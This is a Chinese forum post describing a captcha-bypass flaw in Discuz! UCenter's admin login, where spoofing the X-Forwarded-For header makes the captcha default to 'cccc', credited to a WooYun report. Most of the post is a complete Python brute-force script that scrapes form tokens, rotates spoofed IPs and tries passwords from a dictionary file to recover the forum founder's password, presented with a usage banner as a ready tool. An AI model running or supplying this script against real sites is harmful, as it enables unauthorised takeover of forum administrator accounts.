本帖最后由 民审-M 于 2016-3-30 19:58 编辑
只要知道了账号密码,就相当于拿下了论坛,可以为所欲为了。对于这种重要的东西,一直都是黑客们想要的东西,而对付它的好办法除了社工就是爆破了。社工不是我们这个帖子的目的,我们就开始讲爆破。而一般的爆破在验证码下显得那么无力,爆破的前提就是没有验证码和密码输错,还有知道账号的限制,这里只有没有密码输错限制,还有默认的账号名,了个验证码当阻碍,但是我们发现了一个小问题。导致这个验证码被无视掉,直接进行爆破。这个漏洞的发现者是JJ Fly,乌云漏洞地址为http://www.wooyun.org/bugs/wooyun-2014-080211,下面的内容大部分从乌云截取。 这里有个验证码的地址,为:http://localhost/uc_server/admin.php?m=seccode&seccodeauth=07d4kVIZ%2Fj5pecd%2Bv7%2FuE0zfvj%2FKRIrF3pmAd%2BupYhm4GT4&1104676922。 
但是
经过测试发现
登陆uc_server的时候 如果ip第一次出现那么 seccode的默认值为cccc
而 ip地址 是通过X-Forwarded-For 获取的。
也就是我们修改xff的ip之后,再次打开上面那个验证码url,图片的值为cccc 
所有,根据这个漏洞,就可以进行爆破,下面是该漏洞作者给出的漏洞利用exp: - #!/usr/bin/env python
- # -*- coding: cp936 -*-
- #Dz论坛创始人爆破脚本
- #由爱安全攻防实验室夕阳编写
- import httplib
- import re
- import random
- import urllib
- import time
- from sys import argv
- def GetHtml(host,htmlhash,htmlpass,htmlseccode):
- ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))
- postHead={"Host":host,"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0 ","X-Forwarded-For":ip,'Content-Type':'application/x-www-form-urlencoded','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Connection':'keep-alive'}
- postContent='sid=&formhash='+htmlhash+'&seccodehidden='+htmlseccode+'&iframe=0&isfounder=1&password='+htmlpass+'&seccode=cccc&submit=%E7%99%BB+%E5%BD%95'
- resultHtml=httplib.HTTPConnection(host)
- resultHtml.request('POST','/uc_server/admin.php?m=user&a=login',postContent,postHead )
- page=resultHtml.getresponse()
- pageConect=page.read()
- return pageConect
- def GetHash(host):
- url='http://'+host+'/uc_server/admin.php'
- pageContent=urllib.urlopen(url).read()
- htmlhash=re.findall('<input type="hidden" name="formhash" value="(.*?)" />',pageContent)
- htmlseccode=re.findall('<input type="hidden" name="seccodehidden" value="(.*?)" />',pageContent)
- return htmlhash+htmlseccode
- if(len(argv)==1):
- print ' . .............................................. .'
- print ' .. ... ....isssssssssssssssssssssssssr,... ... '
- print ' . . .,,. ..ihSSSSSSSSSSSSSSSSSSSS5S991,. .::, .. .'
- print ' . :ishhi, .i1555555555555555555331, .:s55hs, .'
- print ' . r15SSShi, .i15SSSSSSSSSSS5S331: .:s5SS5S3; .'
- print ' . r1SSSSSShi, .ihSSSSSSSSSS99h: .:s5SSSSSSS; '
- print ' . ;sSSSSS33Shi, ,ihS3333399h: .:sS33SSSSS3S: .'
- print ' . .;hS33333333hi, ,r55hhSh; .:sS33333333S91,. .'
- print ' . .,sS3333333333hi,. .. .. .:sS333333333S39r.. .'
- print ' . ..;5S333333333S31..........,sS3333333333S95, . .'
- print ' . ..,13333333333S31..........,1S333333333SS9r .. .'
- print ' . ...rS3333333SS991. ...rS333333333S3S: .. .'
- print ' . ...:h33333SS995;. .,;::;:. ..:s5333333SS91.... .'
- print ' . ...,sSS3SS995; ,s5SSSSS1;. :sS3333S33; ... .'
- print ' . ....;533995; ,r533333333S1;. :s53398h,.... .'
- print ' . .....,i1h; .,r5333333333333S1;. .:s51;,..... .'
- print ' . ..... ..;53333333333333SS33h;.. .. ...... .'
- print ' . ............,;shS333S33SSS39935s:............. .'
- print ' . ............ .,i15S33993S1;, ............. .'
- print ' . .ii11i, .'
- print ' '
- print ' '
- print ' 欢迎使用Dz论坛无视验证码爆破创始人密码工具 '
- print '-------------------------------------------------------------------------------'
- print '| Team:爱安全攻防实验室 |'
- print '| Author:夕阳 |'
- print '| site:www.ixsec.org |'
- print '| 如果有BUG请联系我的QQ:1478023488 |'
- print '-------------------------------------------------------------------------------'
- print ' 使用说明 | 参数格式—> host地址 字典文件 '
- print '字典放在当前目录 | 参数格式—> www.xxx.com pass.txt '
- else:
- host=argv[1]
- passfile=argv[2]
- print '网站host为 '+host
- print '密码字典为 '+passfile
- print '--->开始开源,请耐心等候才怪'
- x=GetHash(host)
- for i in open(passfile):
- if(GetHtml(host,x[0],i,x[1])==''):
- print '密码为 '+i
- break
复制代码
更多: |